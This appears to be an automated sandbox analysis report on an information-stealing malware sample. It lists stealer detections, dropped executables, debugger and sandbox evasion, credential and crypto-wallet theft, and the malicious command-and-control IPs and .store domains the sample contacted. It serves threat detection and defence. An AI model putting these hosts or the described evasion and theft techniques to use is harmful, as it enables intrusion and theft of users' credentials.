Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: number of queries: 1339
Yara detected Credential Stealer
Source: Yara match File source: 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1757652611.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2426207049.000000000062E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2470951656.000000000068E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2471200478.0000000000692000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2376427706.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2366019019.000000000067E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2470591112.0000000000688000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000003.2368992394.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7f3598dc65.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7f3598dc65.exe PID: 764, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: dd62608cd9.exe PID: 4296, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7f3598dc65.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7f3598dc65.exe PID: 764, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 26.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000002.2360101819.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000000.2344313547.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000000.2344210993.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2261496330.0000000005740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2520754609.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.2573310772.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.2573197213.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2309214794.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2590932503.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2591047793.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.2426511088.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2360865122.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2588992623.00000000004D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 606111e8b5.exe PID: 2496, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 606111e8b5.exe PID: 6376, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1545324 Sample: file.exe Startdate: 30/10/2024 Architecture: WINDOWS Score: 100 126 thumbystriw.store 2->126 128 presticitpo.store 2->128 130 39 other IPs or domains 2->130 146 Suricata IDS alerts for network traffic 2->146 148 Found malware configuration 2->148 150 Antivirus detection for dropped file 2->150 152 17 other signatures 2->152 11 file.exe 2 2->11         started        16 7f3598dc65.exe 2->16         started        18 skotes.exe 2->18         started        20 5 other processes 2->20 signatures3 process4 dnsIp5 142 necklacedmny.store 188.114.97.3, 443, 49730, 49731 CLOUDFLARENETUS European Union 11->142 144 185.215.113.16, 49744, 49747, 49751 WHOLESALECONNECTIONSNL Portugal 11->144 108 C:\Users\user\...behaviorgraphVDV7NGS54W9A7T64.exe, PE32 11->108 dropped 110 C:\Users\user\...\AJK1SC9862O5LRO4.exe, PE32 11->110 dropped 202 Query firmware table information (likely to detect VMs) 11->202 204 Found many strings related to Crypto-Wallets (likely being stolen) 11->204 206 Tries to evade debugger and weak emulator (self modifying code) 11->206 220 2 other signatures 11->220 22 AJK1SC9862O5LRO4.exe 4 11->22         started        26 GVDV7NGS54W9A7T64.exe 9 1 11->26         started        112 C:\Users\user\...\D0QMSIUHN1DMZFTBB2S7.exe, PE32 16->112 dropped 114 C:\Users\...\CR7UQWGVREF7AZUSI54N0N8MGR.exe, PE32 16->114 dropped 208 Tries to harvest and steal ftp login credentials 16->208 210 Tries to harvest and steal browser information (history, passwords, etc) 16->210 212 Tries to steal Crypto Currency Wallets 16->212 28 D0QMSIUHN1DMZFTBB2S7.exe 16->28         started        30 CR7UQWGVREF7AZUSI54N0N8MGR.exe 16->30         started        214 Hides threads from debuggers 18->214 216 Tries to detect sandboxes / dynamic malware analysis system (registry check) 18->216 218 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->218 32 firefox.exe 20->32         started        35 firefox.exe 20->35         started        37 taskkill.exe 20->37         started        39 4 other processes 20->39 file6 signatures7 process8 dnsIp9 98 C:\Users\user\AppData\Local\...\skotes.exe, PE32 22->98 dropped 154 Antivirus detection for dropped file 22->154 156 Detected unpacking (changes PE section rights) 22->156 158 Machine Learning detection for dropped file 22->158 160 Potentially malicious time measurement code found 22->160 41 skotes.exe 4 25 22->41         started        162 Multi AV Scanner detection for dropped file 26->162 164 Modifies windows update settings 26->164 166 Disables Windows Defender Tamper protection 26->166 178 3 other signatures 26->178 168 Tries to detect sandboxes and other dynamic analysis tools (window names) 28->168 170 Tries to evade debugger and weak emulator (self modifying code) 28->170 172 Hides threads from debuggers 28->172 174 Tries to detect sandboxes / dynamic malware analysis system (registry check) 30->174 176 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 30->176 120 youtube-ui.l.google.com 142.250.186.110 GOOGLEUS United States 32->120 122 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 32->122 124 5 other IPs or domains 32->124 46 firefox.exe 32->46         started        48 firefox.exe 32->48         started        50 firefox.exe 35->50         started        52 conhost.exe 37->52         started        54 conhost.exe 39->54         started        56 conhost.exe 39->56         started        58 conhost.exe 39->58         started        60 conhost.exe 39->60         started        file10 signatures11 process12 dnsIp13 134 185.215.113.43, 49745, 49746, 49749 WHOLESALECONNECTIONSNL Portugal 41->134 100 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 41->100 dropped 102 C:\Users\user\AppData\...\dd62608cd9.exe, PE32 41->102 dropped 104 C:\Users\user\AppData\...\606111e8b5.exe, PE32 41->104 dropped 106 5 other malicious files 41->106 dropped 180 Antivirus detection for dropped file 41->180 182 Detected unpacking (changes PE section rights) 41->182 184 Machine Learning detection for dropped file 41->184 186 5 other signatures 41->186 62 7f3598dc65.exe 2 41->62         started        66 606111e8b5.exe 41->66         started        69 dd62608cd9.exe 41->69         started        71 num.exe 41->71         started        136 push.services.mozilla.com 34.107.243.93 GOOGLEUS United States 50->136 138 telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 GOOGLEUS United States 50->138 140 prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 ATGS-MMD-ASUS United States 50->140 73 firefox.exe 50->73         started        file14 signatures15 process16 dnsIp17 116 C:\...\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe, PE32 62->116 dropped 118 C:\Users\user\...\RIT5CLJSOG1HZLWAHXIC60.exe, PE32 62->118 dropped 222 Antivirus detection for dropped file 62->222 224 Multi AV Scanner detection for dropped file 62->224 226 Query firmware table information (likely to detect VMs) 62->226 236 4 other signatures 62->236 75 WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe 62->75         started        78 RIT5CLJSOG1HZLWAHXIC60.exe 62->78         started        132 185.215.113.206, 49758, 80 WHOLESALECONNECTIONSNL Portugal 66->132 228 Detected unpacking (changes PE section rights) 66->228 230 Machine Learning detection for dropped file 66->230 232 Tries to evade debugger and weak emulator (self modifying code) 66->232 234 Binary is likely a compiled AutoIt script file 69->234 80 taskkill.exe 69->80         started        82 taskkill.exe 69->82         started        84 taskkill.exe 69->84         started        86 3 other processes 69->86 file18 signatures19 process20 signatures21 188 Antivirus detection for dropped file 75->188 190 Detected unpacking (changes PE section rights) 75->190 192 Machine Learning detection for dropped file 75->192 200 2 other signatures 75->200 194 Multi AV Scanner detection for dropped file 78->194 196 Tries to evade debugger and weak emulator (self modifying code) 78->196 198 Hides threads from debuggers 78->198 88 conhost.exe 80->88         started        90 conhost.exe 82->90         started        92 conhost.exe 84->92         started        94 conhost.exe 86->94         started        96 conhost.exe 86->96         started        process22
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.149.100.209
 prod.remote-settings.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
34.107.243.93
 push.services.mozilla.com United States
15169 GOOGLEUS false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
188.114.97.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
142.250.186.110
 youtube.com United States
15169 GOOGLEUS false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
34.120.208.123
 telemetry-incoming.r53-2.services.mozilla.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
star-mini.c10r.facebook.com 157.240.253.35 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
twitter.com 104.244.42.193 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
services.addons.mozilla.org 151.101.1.91 true
dyna.wikimedia.org 185.15.59.224 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.186.110 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
youtube-ui.l.google.com 142.250.186.110 true
us-west1.prod.sumo.prod.webservices.mozgcp.net 34.149.128.2 true
reddit.map.fastly.net 151.101.1.140 true
ipv4only.arpa 192.0.0.170 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
push.services.mozilla.com 34.107.243.93 true
necklacedmny.store 188.114.97.3 true
normandy-cdn.services.mozilla.com 35.201.103.21 true
telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 true
www.reddit.com unknown unknown
spocs.getpocket.com unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
presticitpo.store unknown unknown
support.mozilla.org unknown unknown
firefox.settings.services.mozilla.com unknown unknown
www.youtube.com unknown unknown
fadehairucw.store unknown unknown
www.facebook.com unknown unknown
detectportal.firefox.com unknown unknown
normandy.cdn.mozilla.net unknown unknown
thumbystriw.store unknown unknown
shavar.services.mozilla.com unknown unknown
crisiwarny.store unknown unknown
www.wikipedia.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    fadehairucw.store true
      		unknown